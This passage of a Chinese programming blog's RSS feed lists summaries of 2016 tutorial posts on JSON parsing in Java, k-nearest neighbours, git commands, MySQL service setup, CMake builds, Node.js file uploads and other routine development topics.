      <pubDate>Wed, 30 Nov 2016 09:24:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f1ab1295eebc8ad0a1af1b5adcf3d63/</guid>
      <description>封装成工具类&#xA;public static String toJsonByObject(Object obj){ String jsonStr = null; try { jsonStr = mapper.writeValueAsString(obj); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return jsonStr; } ================================================&#xA;如何把Java对象转化成json字符串并打印出来呢？&#xA;这里就用到了jackon的jar包，使用writeValuesAsString的方法就可以把对角转化成json字符串。&#xA;下面通过一个demo，来仔细体会下如何去转化！&#xA;1：先建一个javaBean。&#xA;[java] view plain copy package com.sino.objectmapperdemo; public class BaseObject { private String userName; private String userCode; private double weight; private int height; private boolean sex; private String[] array; private BaseObject innerBaseObject; public String getUserName() { return userName; } public void setUserName(String userName) { this.</description>
    </item>
    <item>
      <title>推荐系统：技术、评估及高效算法 第1章</title>
      <link>https://bchobby.github.io/posts/ae06324159dba010fa805995ad3e106f/</link>
      <pubDate>Tue, 29 Nov 2016 22:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae06324159dba010fa805995ad3e106f/</guid>
      <description> Recommender System Handbook Chapter 1 笔记下载地址 http://pan.baidu.com/s/1hsqNy6o </description>
    </item>
    <item>
      <title>如何统一解析JSON数据，使用Gson结合泛型类灵活，让您一劳永逸</title>
      <link>https://bchobby.github.io/posts/d54c595ff5a75f8204a71230bba94e40/</link>
      <pubDate>Sun, 27 Nov 2016 19:12:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d54c595ff5a75f8204a71230bba94e40/</guid>
      <description>作为一名android 客户端开发人员，学会解决问题和总结问题的习惯是很重要的。。。那么我们app接口数据返回通常是以下格式：&#xA;{&#34;code&#34;:&#34;0000&#34;,&#34;data&#34;: {&#34;code&#34;:&#34;0002&#34;,&#34;resultData&#34;:null,&#34;resultMsg&#34;:&#34;用户Token过期,请重新登入&#34;,&#34;error&#34;:[],&#34;msg&#34;:&#34;&#34;}&#xA;把以上的json数据放在线JSON字符串转Java实体类(JavaBean)网址（http://www.bejson.com/json2javapojo/new/）上生成下面的Java实体类：&#xA;public class JsonRootBean { private String code; private Data data; private List&amp;lt;String&amp;gt; error; private String msg; public void setCode(String code) { this.code = code; } public String getCode() { return code; } public void setData(Data data) { this.data = data; } public Data getData() { return data; } public void setError(List&amp;lt;String&amp;gt; error) { this.error = error; } public List&amp;lt;String&amp;gt; getError() { return error; } public void setMsg(String msg) { this.</description>
    </item>
    <item>
      <title>matlab PCA-SVD简单地实现特征脸方法(Eigenface)</title>
      <link>https://bchobby.github.io/posts/4e2e09c44e6d4d56934c3d87ce8e6444/</link>
      <pubDate>Thu, 24 Nov 2016 22:23:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e2e09c44e6d4d56934c3d87ce8e6444/</guid>
      <description>当我们要用一张图片跟大量图片对比寻找最相似（最小欧几里得距离等）时用本文的方法能减少内存使用量加快运算速度。&#xA;优化的欧几里得距离计算方法：&#xA;function d = EuclideanDistance(a,b) % DISTANCE - computes Euclidean distance matrix % % E = EuclideanDistance(A,B) % % A - (MxD) matrix % B - (NxD) matrix % % Returns: % E - (MxN) Euclidean distances between vectors in A and B % % % Description : % This fully vectorized (VERY FAST!) m-file computes the % Euclidean distance between two vectors by: % % ||A-B|| = sqrt ( ||A||^2 + ||B||^2 - 2*A.</description>
    </item>
    <item>
      <title>PHP的instanceof关键字</title>
      <link>https://bchobby.github.io/posts/6f0a7caa66c83064a69c05f4a55a29a7/</link>
      <pubDate>Wed, 23 Nov 2016 20:15:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f0a7caa66c83064a69c05f4a55a29a7/</guid>
      <description> instanceof关键字是PHP5新增成员。 PHP手册中： 可以从上段代码中看出，instanceof的关键字可以确定一个对象是否是一个类的实例。&#xA;其实instanceof这个关键字可以确定一个对象是类的实例、类的子类，还是实现了某个特定接口，并进行相应的操作。&#xA;下面看看instanceof的具体用法(用PHP’三私一公’说明):&#xA;&amp;lt;?php? class PDODB{ private static $_instance;//用来保存单例对象 private function __construct(){ } private function __clone(){ } public static function getInstance(){ if(!static::$_instance instanceof static){ //当$_instance不是PDOPB对象时,为true //static为本类 } } } &amp;gt; </description>
    </item>
    <item>
      <title>关于hibernate jpa 踩过的一个个坑</title>
      <link>https://bchobby.github.io/posts/bb06a387cdca18493b172a580c805cdd/</link>
      <pubDate>Wed, 23 Nov 2016 15:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb06a387cdca18493b172a580c805cdd/</guid>
      <description>设置 multiselect 无效问题 xxxxDao.findAll(Specifications.where(new Specification&amp;lt;XXBean&amp;gt;() { @Override public Predicate toPredicate(Root&amp;lt;XXBean&amp;gt; root, CriteriaQuery&amp;lt;?&amp;gt; query, CriteriaBuilder cb) { query.multiselect(root.get(&#34;a&#34;),root.get(&#34;b&#34;)); return null; } })); 上面的那段代码中multiselect的这是是无效的，这个问题当时很是困扰，到网上搜索很多人都遇到这个问题，但是也没有找到一个确切的答案，无奈只好自己debug代码了。终于找到了根源：&#xA;protected TypedQuery&amp;lt;T&amp;gt; getQuery(Specification&amp;lt;T&amp;gt; spec, Sort sort) { CriteriaBuilder builder = em.getCriteriaBuilder(); CriteriaQuery&amp;lt;T&amp;gt; query = builder.createQuery(getDomainClass()); Root&amp;lt;T&amp;gt; root = applySpecificationToCriteria(spec, query); query.select(root); if (sort != null) { query.orderBy(toOrders(sort, root, builder)); } return applyRepositoryMethodMetadata(em.createQuery(query)); } 上边这两句代码：&#xA;Root&amp;lt;T&amp;gt; root = applySpecificationToCriteria(spec, query);&#xA;query.select(root);&#xA;，第一句内部调用了toPredicate 接口执行了我们设置的multiselect ，然而第二句直接重置了查询的字段为表的所有字段.导致我们设置的查询字段无效。刚开始我认为这个hibernate的一个bug，但是后来想想他这样做也是为了预防另外一个bug的产生：分页查询的时候hibernate会自动生成一个count的sql，如果这时你设置了select字段，而且还有group by语句，group的字段为select的某一个字段。这时生成的count语句就有可能会出错了，select count(*) from table group by field ,这句sql可能会因为找不到field而出错。所以hibernate 这里直接不允许程序员在这里设置select字段也是有一定意义的。</description>
    </item>
    <item>
      <title>K-近邻算法</title>
      <link>https://bchobby.github.io/posts/63c7ced7e8c3a3a1554a3b1e6669f849/</link>
      <pubDate>Mon, 21 Nov 2016 16:39:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63c7ced7e8c3a3a1554a3b1e6669f849/</guid>
      <description>机器学习基础知识 监督学习：监督学习从给定的数据中（已经确定了数据的类别）学习模型，之后利用学习的模型，得到目标变量的结果。简单来说，监督学习用来学习的数据，已经给定了类别（标签）、类别数等。是一种预先知道学习后，可能产生的目标变量的结果的学习方式。（例如，已经知道了，学习后用来对猫狗分类，而不是对其他类别分类）。&#xA;目标变量的两种类型：标称型和数值型。标称型指：结果在有限目标集中取值，如真与假，｛婴儿、幼年、青年、成年、中年、老年｝。数值型值：目标变量从无限数值集合中取值，这种类型的目标变量主要用于回归分析。&#xA;何谓机器学习：简单地说，机器学习就是把无序的数据转换成有用的信息。&#xA;训练集：为了训练算法所输入的，大量已分类数据。训练集包含多个训练样本，每个样本包含一个或多个特征、一个目标变量（结果）。对于分类算法（监督学习），训练样本集必须知道目标变量的值，才可以通过机器学习算法发现样本特征与目标变量之间的关系。对于分类问题，目标变量称为类别。&#xA;训练数据和测试数据：当机器学习算法开始运行时，训练样本集输入，训练完成后输入测试样本集。给算法输入的测试样本集，去掉样本的目标变量，有算法判别每个样本的目标变量。比较测试样本通过算法预测的变量和实际样本类别间的差异，评估算法的精确度。&#xA;分类与回归：分类主要的任务为，将实例数据划分到合适的类别中。回归主要用于预测数值型数据，如：通过给定数据点的最有拟合曲线，即数据拟合曲线。分类和回归同属于监督学习，这类学习算法知道要预测什么，即知道目标变量的分类信息。&#xA;无监督学习：用来训练的数据没有类别信息，没有目标值。无监督学习中，将数据集合分成由类似的对象组成的多个类的过程称为聚类；将寻找描述数据统计值的过程称为密度估计。无监督学习还可以减少数据特征的维度。&#xA;监督学习无监督学习k近邻k均值朴素贝叶斯分类最大期望算法支持向量机决策树回归 开发机器学习应用程序步骤：（1）收集数据。（2）准备输入数据。（3）分析输入数据。（4）训练算法。（5）测试算法。（6）使用算法。&#xA;K-近邻算法 1.算法概述 简单的说，K-近邻算法采用测量不同特征值之间的距离方法进行分类。&#xA;优点：精度高、对异常值不敏感、无数据输入假定。&#xA;缺点：计算复杂度高、空间复杂度高。&#xA;实用数据范围：数值型和标称型。&#xA;工作原理：存在一个训练样本集，样本集中每个样本都有标签，已经事先知道每个样本的所属分类。输入新样本后（无标签），将新样本的每个特征与样本集中样本对应的特征进行比较，提取样本集中特征最相似（最近邻）的前K个分类标签，取出现次数最多的标签，作为新样本所属的分类。&#xA;2.k-近邻算法的一般流程 (1)收集数据：使用任意方法收集。&#xA;(2)准备数据：用于计算距离，数据格式最好结构化。&#xA;(3)分析数据：任意方法。&#xA;(4)训练算法：K-近邻不需要训练算法。&#xA;(5)测试算法：计算错误率。&#xA;(6)使用算法：输入样本数据，运行K-近邻算法判别输入数据所属分类。&#xA;3.K-近邻算法代码(Python) 3.1 整体代码 代码+样本集下载&#xA;# -*- coding: utf-8 -*- &#39;&#39;&#39; Input: inX: vector to compare to existing dataset (1xN) dataSet: size m data set of known vectors (NxM) labels: data set labels (1xM vector) k: number of neighbors to use for comparison (should be an odd number) Output: the most popular class label &#39;&#39;&#39; from numpy import * import operator from os import listdir def classify0(inX, dataSet, labels, k): dataSetSize = dataSet.</description>
    </item>
    <item>
      <title>LPC2368学习笔记（一）——点亮LED</title>
      <link>https://bchobby.github.io/posts/490a90a7300e7c6a8ea79cc2a887127c/</link>
      <pubDate>Sun, 20 Nov 2016 09:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/490a90a7300e7c6a8ea79cc2a887127c/</guid>
      <description>LPC2368学习笔记（一）、点亮LED 前言 LPC2368是一款十分强大的单片机，其基于ARM7TDMI-S处理器，可在高达72MHz的工作频率下运行，高达512kB的片内Flash程序存储器，具有在系统编程（ISP）和在应用编程（IAP）功能，ARM局部总线上有高达32kB的SRAM，并且具备丰富的外设，如SD/MMC存储卡接口、10位A/D转换器、10位D/A转换器、UART接口、CAN接口、SPI接口、USB2.0（带有片内PHY和相关的DMA控制器）接口、I2C接口、I2S频接口、SSP控制器、Ethernet MAC、定时器、RTC等。&#xA;一、开发环境介绍 LPC2368支持多种开发环境，有 1. LPCXpresso IDE 2. ADS 3. MDK 4. IAR Embedded Workbench for ARM 5. SEGGER Embedded Studio&#xA;其中SEGGER Embedded Studio目前对个人用户免费，但是为了快速熟悉LPC2368的开发，我使用MDK进行程序开发工作。&#xA;二、新建工程 打开MDK，选择单片机型号为LPC2368，并向工程中添加启动文件LPC2300.s。界面如图所示：编写点亮LED程序。程序如图所示：配置工程。 output项配置如图所示：debug项配置如图所示：utilities项配置如图所示：下载程序。点击，开始下载程序，程序下载成功输出窗口显示如图所示：下载失败的话会有提示，请对照上述内容重新进行配置。观察实验现象。 当然也可以使用NXP的启动文件进行新建工程，步骤如下： 1. 在NXP官网上找到有关LPC2368的程序，可以在该网址找到,里面还有芯片资料、软件服务等信息。 2. 下载并打开LPC2368的例程 3. 打开以后是这样的，common是通用的配置文件，其他的是一些外设的驱动例程。common文件夹内有两个文件夹分别是inc文件夹和src文件夹，如下图所示：inc文件夹包含，src文件夹包含 4. 复制common文件夹到工程目录，将它添加到工程中，工程配置如下所示：c/c++项配置如下图所示linker项配置如下所示其他项的配置和上面配置相同。 5. 编译运行，观察实验现象。&#xA;三、程序介绍 3.1 程序源码 #include &amp;lt;LPC23xx.H&amp;gt; int main(void) { //配置P0.29 P0.30 为输出模式 IODIR0 |= 1 &amp;lt;&amp;lt; 29; IODIR0 |= 1 &amp;lt;&amp;lt; 30; while(1) { //配置P0.29 P0.30 输出低电平 //由于硬件原因LED在低电平时点亮 在高电平熄灭 IOCLR0 |= 1 &amp;lt;&amp;lt; 29; IOCLR0 |= 1 &amp;lt;&amp;lt; 30; } } 3.</description>
    </item>
    <item>
      <title>HTML5 Canvas实现360度全景图</title>
      <link>https://bchobby.github.io/posts/41bc94f5676e90e8dbc259a993ee584d/</link>
      <pubDate>Tue, 15 Nov 2016 09:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41bc94f5676e90e8dbc259a993ee584d/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 很多购物网站现在都支持360实物全景图像，可以360度任意选择查看样品，这样&#xA;对购买者来说是一个很好的消费体验，网上有很多这样的插件都是基于jQuery实现的&#xA;有收费的也有免费的，其实很好用的一个叫3deye.js的插件。该插件支持桌面与移动终&#xA;端iOS与Android， 它的demo程序：http://www.voidcanvas.com/demo/28823deye/&#xA;自己玩了玩这个Demo以后，照着它的思路，用HTML5 Canvas也实现了类似的功能。&#xA;所以先说一下它的360度全景图的原理&#xA;1. 首先需要对实物拍照，间隔是每张照片旋转15度，所以需要23张照片。&#xA;2. 照片准备好了以后，尽量选择JPG格式，裁剪到适当大小。&#xA;3. JavaScript中预加载所有照片，可以配合进度条显示加载精度&#xA;4. 创建/获取Canvas对象，加上鼠标监听事件，当鼠标左右移动时候，适度的绘制不&#xA;同帧。大致的原理就是这样，简单吧！&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;Full 360 degree View&amp;lt;/title&amp;gt; &amp;lt;script&amp;gt; var ctx = null; // global variable 2d context var frame = 1; // 23 var width = 0; var height = 0; var started = false; var images = new Array(); var startedX = -1; window.onload = function() { var canvas = document.</description>
    </item>
    <item>
      <title>记录一些常用的git命令</title>
      <link>https://bchobby.github.io/posts/03c93c8010fc45e908811a3909bf1f7d/</link>
      <pubDate>Mon, 14 Nov 2016 14:30:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03c93c8010fc45e908811a3909bf1f7d/</guid>
      <description>Git作为一个极其强大的版本控制工具，其优势不言而喻，应该成为每个程序员的标配。如果你还在使用Svn,强烈建议体验一下Git，你一定会爱不释手的。初学Git，推荐一个不错的Git入门教程，廖雪峰的官方网站。这里仅记录一些常见Git命令，以供查阅。&#xA;创建版本库&#xA;git init 在当前目录创建版本库（repository），会自动在根目录生成.git文件夹&#xA;git clone https://github.com/lulululbj/JavaDesignPatterns.git&#xA;克隆版本库地址&#xA;本地修改&#xA;git add readme.md&#xA;将文件添加到版本库，仅仅只是添加到暂存区&#xA;git commit -m &#34;commit message&#34;&#xA;将add到暂存区的文件提交到版本库，可多次add，一次提交。-m后的参数为本次提交的备注，这是一个应该养成的好习惯。&#xA;git add . or git add -A&#xA;添加本地所有修改&#xA;git status&#xA;查看本地仓库当前状态，修改了哪些文件，哪些文件等待commit等等。&#xA;git diff&#xA;查看具体修改内容，后面可以添加文件名查看具体文件修改内容。当然，如果你刚刚commit了，这个命令就查看不到任何东西。&#xA;提交管理&#xA;git log&#xA;查看提交历史&#xA;git log --pretty=oneline&#xA;如果你觉得git log命令显示的内容过于冗余，这个命令仅仅显示commit_id和提交时的备注&#xA;git reset --hard HEAD^&#xA;回退到上个版本，HEAD^^,上上个版本，HEAD~10，上10个版本&#xA;git reset --hard commit_id&#xA;根据commit_id恢复到指定版本&#xA;git reflog&#xA;记录你每次对版本库的操作，并显示每一次的commit_id&#xA;git diff HEAD -- readme.md&#xA;查看文件在工作区和当前版本库里面最新版本的区别&#xA;git checkout -- readme.md&#xA;撤销工作区的修改，恢复到最近一次git commit或者git add的状态</description>
    </item>
    <item>
      <title>哈理工OJ 1627 猪猪罐（完全背包）</title>
      <link>https://bchobby.github.io/posts/4a2e530090233fcd5488f3df9174b2a6/</link>
      <pubDate>Sat, 12 Nov 2016 19:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a2e530090233fcd5488f3df9174b2a6/</guid>
      <description>题目链接：http://acm.hrbust.edu.cn/index.php?m=ProblemSet&amp;amp;a=showProblem&amp;amp;problem_id=1627&#xA;猪猪罐 Time Limit: 1000 MS Memory Limit: 32768 K Total Submit: 39(21 users) Total Accepted: 23(21 users) Rating: Special Judge: No Description ikki有一个小金库，这是一个猪猪罐，猪猪罐里面放了一些硬币。ikki知道了每种硬币的价值和重量，并且还知道空猪猪罐的重量，现在ikki想知道这个猪猪罐里至少放了价值为多少的硬币，她只能称出整个猪猪罐的总重量，你能帮她计算一下么？&#xA;Input 多组测试数据，第一行给出一个整数T表示测试数据的组数。&#xA;对于每组数据：&#xA;第一行输入两个正整数E、V，其中E表示空猪猪罐的重量，V表示放了硬币之后猪猪罐的总重量。（1&amp;lt;=E&amp;lt;=V&amp;lt;=10000）&#xA;第二行输入一个整数N表示硬币的种数。（1&amp;lt;=N&amp;lt;=50）&#xA;接下来的N行，每行两个整数v，w分别表示每种硬币的价值和重量。（1&amp;lt;=v&amp;lt;=50000,1&amp;lt;=w&amp;lt;=10000）&#xA;Output 对于每组数据输出猪猪罐中硬币价值可能的最小值，如果不存在则输出”Impossible”。&#xA;每组输出占一行。 Sample Input 3 10 110 2 1 1 30 50 10 110 2 1 1 50 30 1 6 2 10 3 20 4 Sample Output 60 100 Impossible&#xA;【题目分析】本题是一道完全背包的题目，一开始想了好久好久，因为这个背包和平常遇到的完全背包有区别，因为这个背包是知道了最终的重量，然后让你求是不是可以由某些硬币组成，假如可以由某些硬币组成的话，找出价值和最小的那一组硬币。可以一开始给dp数组置一个很大的数。 【AC代码】&#xA;#include&amp;lt;cstdio&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; #define INF 1000005 struct node { int val,cost; }a[55]; int dp[10005]; int main() { int t,e,v,n; scanf(&#34;</description>
    </item>
    <item>
      <title>java实现热敏打印机打印小票</title>
      <link>https://bchobby.github.io/posts/f61d3cb315415d4e1f26080529f59e7f/</link>
      <pubDate>Sat, 12 Nov 2016 18:42:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f61d3cb315415d4e1f26080529f59e7f/</guid>
      <description>// 以下是热敏打印机的开发步骤（只适用于IE浏览器） 1.下载BTP-2002CPV2.22.zip和POSOCX-V1.23.zip 2.安装 POSOCX-V1.23.zip 是安装打印机 BTP-2002CPV2.22.zip 是注册&#xA;3.jsp页面： 3.1 引入js文件(xxx.js指自己的posocx的js文件)&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;&amp;lt;%=basePath%&amp;gt;/xxx.js&#34; charset=&#34;utf-8&#34;&amp;gt;&amp;lt;/script&amp;gt; 3.2 在页面的最大的div的最后引入posocx对象（注册表中搜索posocx，clsid是注册号）&#xA;&amp;lt;div&amp;gt; &amp;lt;!-- 页面的内容 --&amp;gt; &amp;lt;object id=&#34;POSOCX&#34; classid=&#34;clsid:自己的注册码&#34; width=&#34;0&#34; height=&#34;0&#34; align=&#34;center&#34; hspace=&#34;0&#34;&amp;gt; &amp;lt;/object&amp;gt; &amp;lt;/div&amp;gt; 3.3 调用方法：(打印上下联)&#xA;var posObj = document.getElementById(&#34;POSOCX&#34;); //调用自己js文件中的打印方法// 这是***.js中的方法 结合dwz实现打印小票，则稍微复杂一些。 情境描述： form表单提交，后台操作成功后，dwz弹框操作成功，我们点击确定则退出。现在想要修改弹框信息（提示是否打印小票），并且弹框上有两个按钮，确定和取消。点击确定我们打印，取消不打印。 jsp页面： &amp;lt;div class=&#34;pageContent&#34;&amp;gt; &amp;lt;form method=&#34;post&#34; action=&#34;test.action?flag=${flag }&#34; class=&#34;pageForm required-validate&#34; onsubmit=&#34;return validateCallback1(this, test1);&#34;&amp;gt; &amp;lt;!-- 页面的内容 --&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;!-- 页面的内容 --&amp;gt; &amp;lt;object id=&#34;POSOCX&#34; classid=&#34;clsid:自己的注册码&#34; width=&#34;0&#34; height=&#34;0&#34; align=&#34;center&#34; hspace=&#34;0&#34;&amp;gt; &amp;lt;/object&amp;gt; &amp;lt;/div&amp;gt; js开发过程如下： 我们常用场景： 如form标签中加上属性：</description>
    </item>
    <item>
      <title>全局变量与命名规范</title>
      <link>https://bchobby.github.io/posts/8323712267d249c298cfaeb04680d73f/</link>
      <pubDate>Fri, 11 Nov 2016 20:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8323712267d249c298cfaeb04680d73f/</guid>
      <description> （1）全局变量 全局变量虽然用起来方便，但变量多了会很乱容易混淆&#xA;而且要注意局部变量不要和全局变量同名，否则局部变量会覆盖全局变量的值&#xA;所以应该尽量减少全局变量的使用，尽量用函数返回值得到要接受的变量&#xA;（2）命名规范 再提一次变量的命名，一定得规范，否则变量一不小心变量同名了会改的心碎的&#xA;不可取的变量命名：&#xA;x=0.002; y=0.002; m=0.002; n=0.002; q=0.002; w=0.002; e=0.002; r=0.002; t=0.002; p=0.002; f=0.002; g=0.002; h=0.002; j=0.002; k=0.002; l=0.002; </description>
    </item>
    <item>
      <title>mysql主从  1.一台电脑上安装俩个mysql</title>
      <link>https://bchobby.github.io/posts/25aa3508ed473dafda0886940f0da921/</link>
      <pubDate>Fri, 11 Nov 2016 14:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25aa3508ed473dafda0886940f0da921/</guid>
      <description> 最近正在做mysql主从，积累一点经验，把他记录下来。&#xA;我的环境是Windows7，mysql5.5.第一步就是在我的机器里装了俩个mysql服务（其实就是端口号不同）。&#xA;第一步：&#xA;1.从mysql官网上下载mysql Server，我的下载的是5.5，现在好像都有5.7了，官网为http://dev.mysql.com/downloads/mysql/；选择后缀为.msi的文件进行下载&#xA;2.然后直接双击安装就好了，一直下一步（记住你的mysql安装目录）：中间会有选择端口号和输入密码的地方，端口号默认的3306就可以，密码你可以随意输入。&#xA;3.安装好后，进入windows 服务（右键我的电脑-管理-服务和应用程序-服务）在右边的列表里就可以看到你的服务名为MySql的服务。&#xA;第二步：（重点来了）&#xA;1.将你的mysql程序直接拷贝到另一个目录。如我的拷贝到了e:\mysql_1（拷贝的时候把MySQL Server 5.5下的所有文件都拷到该目录下）&#xA;2.配置修改e:\mysql_1下的my.ini文件，修改以下参数&#xA;a：修改端口号&#xA;[client] port=3306 [mysql] （将此处端口号改为3307） [mysqld]&#xA;# The TCP/IP Port the MySQL Server will listen on&#xA;port=3306（将此处端口号改为3307） b：修改安装路径和数据来源 basedir=e:/mysql_1/&#xA;datadir=e:/mysql_1/data/ 3:将第二个mysql设置成服务 进入cmd 进入到你安装第二个服务器的路径（bin目录下 我的是e:\mysql_1\bin），输入写下命令 mysqld --install mysql_cy --defaults-file=e:\mysql_1\my.ini 回车执行后出现 Service successfully installed即安装成功，mysql_cy即第二个服务器的服务名 可以在到Windows服务的右边列表里进行查看在MySQL 下多了一个mysql_cy的服务器名。 好了，配置成功，接下来就开始真正的主从配置了！！！！！ </description>
    </item>
    <item>
      <title>windows下使用cmake&#43;mingw配置makefile(一)</title>
      <link>https://bchobby.github.io/posts/5e812a437e8bf576d55258d2848f6c35/</link>
      <pubDate>Thu, 10 Nov 2016 14:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e812a437e8bf576d55258d2848f6c35/</guid>
      <description>1.下载Cmake，并配置环境变量 下载链接：https://cmake.org/download/ 环境变量略&#xA;2. 生成Makefile 1)新建 hello 文件夹，在hello中创建hello.c测试程序 mkdir hello cd C:\Users\Administrator\Desktop\hello2)在hello中编写hello.cpp如下: #include &amp;lt;iostream&amp;gt; using namespace std; int main(){ cout &amp;lt;&amp;lt; &#34;hello word cmake!!!&#34; &amp;lt;&amp;lt; endl; return 0; }3)在hello文件夹中创建CMakeLists.txt，编辑如下： &amp;lt;pre name=&#34;code&#34; class=&#34;cpp&#34;&amp;gt;&amp;lt;pre name=&#34;code&#34; class=&#34;cpp&#34;&amp;gt;set(CMAKE_C_COMPILER &#34;gcc&#34;)#设置C编译器 set(CMAKE_C_FLAGS &#34;-g -Wall -I C:\\mingw-4.81\\mingw\\include -L C:\\mingw-4.81\\mingw\\lib&#34;)# set(CMAKE_CXX_COMPILER &#34;g++&#34;)#设置C++编译器 set(CMAKE_CXX_FLAGS &#34;-g -Wall -I C:\\mingw-4.81\\mingw\\include -L C:\\mingw-4.81\\mingw\\lib&#34;) PROJECT (HELLO CXX) SET(SRC_LIST hello.cpp) ADD_EXECUTABLE(hello ${SRC_LIST}) MESSAGE(STATUS &#34;This is BINARY dir &#34; ${HELLO_BINARY_DIR}) MESSAGE(STATUS &#34;This is SOURCE dir &#34;</description>
    </item>
    <item>
      <title>Java基础 - 树的实现（一）父节点表示法</title>
      <link>https://bchobby.github.io/posts/400adf1a784f5a25937fef6118ab7682/</link>
      <pubDate>Wed, 09 Nov 2016 19:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/400adf1a784f5a25937fef6118ab7682/</guid>
      <description>父节点表示法： 通过前面的介绍可以发现,树中除根节点之外的每个节点都有一个父节点。为了记录树中节点与节点之间的父子关系，可以为每个节点增加一个parent域，用来记录该节点的父节点。对于如下图所示的数，可以用一个表（数组）来保存它。 下表记录示范树&#xA;数组索引dataparent0A-11B02C03D04E15F36G37H48I49J410K6......... 由此可见，只要用一个数组节点来保存树里的每个节点，并让每个节点都记录它的父节点在数组中的索引位置即可。下面的程序实现了父节点表示法的树：&#xA;import java.util.ArrayList; import java.util.List; /** * @see 父节点表示法 * @author wb * * @param &amp;lt;E&amp;gt; */ public class TreeParent &amp;lt;E&amp;gt; { public class Node &amp;lt;T&amp;gt;{ T data; int parent; Node(){ } Node(T data){ this.data = data; } Node(T data, int parent){ this(data); this.parent = parent; } public String toString(){ return &#34;TreeParent$Node[data = &#34; + data + &#34;, parent = &#34; + parent + &#34;]&#34;; } } private final int DEFAULT_TREE_SIZE = 100; private int treeSize = 0; //相当于容量吧 //用来记录树中所有的节点 private Node&amp;lt;E&amp;gt;[] nodes; //用来记录树中节点的个数 private int nodeNums; /** * 三种构造方法 */ @SuppressWarnings(&#34;</description>
    </item>
    <item>
      <title>Nodejs进阶：基于express&#43;multer的文件上传</title>
      <link>https://bchobby.github.io/posts/22d404fd5ee249542c748a1a28a5577a/</link>
      <pubDate>Tue, 08 Nov 2016 03:24:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22d404fd5ee249542c748a1a28a5577a/</guid>
      <description>本文摘录自《Nodejs学习笔记》，更多章节及更新，请访问 github主页地址。欢迎加群交流，群号 197339705。&#xA;概览 图片上传是web开发中经常用到的功能，node社区在这方面也有了相对完善的支持。&#xA;常用的开源组件有multer、formidable等，借助这两个开源组件，可以轻松搞定图片上传。&#xA;本文主要讲解以下内容，后续章节会对技术实现细节进行深入挖掘。本文所有例子均有代码示例，可在这里查看。&#xA;基础例子：借助express、multer实现单图、多图上传。&#xA;常用API：获取上传的图片的信息。&#xA;进阶使用：自定义保存的图片路径、名称。&#xA;关于作者 程序猿小卡，前腾讯IMWEB团队成员，阿里云栖社区专家博主。欢迎加入 Express前端交流群(197339705)。&#xA;正在填坑：《Nodejs学习笔记》 / 《Express学习笔记》 社区链接：云栖社区 / github / 新浪微博 / 知乎 / Segmentfault / 博客园 / 站酷&#xA;环境初始化 非常简单，一行命令。&#xA;npm install express multer multer --save 每个示例下面，都有下面两个文件&#xA;➜ upload-custom-filename git:(master) ✗ tree -L 1 . ├── app.js # 服务端代码，用来处理文件上传请求 ├── form.html # 前端页面，用来上传文件 基础例子：单图上传 完整示例代码请参考这里。&#xA;app.js。&#xA;var fs = require(&#39;fs&#39;); var express = require(&#39;express&#39;); var multer = require(&#39;multer&#39;) var app = express(); var upload = multer({ dest: &#39;upload/&#39; }); // 单图上传 app.</description>
    </item>
    <item>
      <title>Xilinx ISE 开发过程中生成的各种文件(一)</title>
      <link>https://bchobby.github.io/posts/15de46c603e16a6450e791a4db836224/</link>
      <pubDate>Sat, 05 Nov 2016 23:46:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15de46c603e16a6450e791a4db836224/</guid>
      <description>电路设计与输入--&amp;gt;功能仿真--&amp;gt;综合优化--&amp;gt;实现过程（翻译、映射、布局布线3个小步骤）--&amp;gt;烧写芯片，在线调试&#xA;综合优化：&#xA;XST：全称为XilinxSynthesis Technology，这是Xilinx ISE里面附带的一个免费的综合工具。&#xA;Synplify生成文件：netlist网表文件 标准edif文件*.edf; 综合约束传递文件*.ncf;&#xA;结构级视图文件*.srs; 有限状态机编码文件*.fse;&#xA;生成文件：NGC网表文件 *.ngc（XST输出） *.edn *.ngo&#xA;edif和ngc区别​&#xA;SynplifyPro默认生成的网表文件（EDIF）、Xilinx IP Core和XST生成的网表文件（NGC/NGO）​&#xA;ngc里都是Xilinx fpga的原语； 第三方综合工具综合后是EDIF文件​&#xA;综合产生的网表文件，包含网络表和约束，是Xilinx自有文件格式，为二进制文件，且被加密了；可以用来进行知识产权保护，例如许多第三方的AllianceCORE就是这样来实现的；（Xilinx自己的LogiCORE有部分是网表，有部分是加密的vhd源程序）​&#xA;约束文件： 3种：用户约束文件UCF,网表约束文件NCF,物理约束文件PCF。&#xA;UCF由用户输入，NCF由综合工具产生。UCF优先级高。&#xA;翻译Translate：&#xA;把多个设计文件merge成一个网表文件。&#xA;（输入：网表文件EDF(或ngc，ngo)+NCF文件）&#xA;NGDBuild:&#xA;这个命令，其实就是translate啦。这是implementation的第一步。它会把所有的netlist和design constraint合并到一起，生成一个ngd文 件供map工具使用。&#xA;生成文件：*.ngd&#xA;映射Map：&#xA;把网表中的逻辑符号(gates)分组到物理组件(slices and 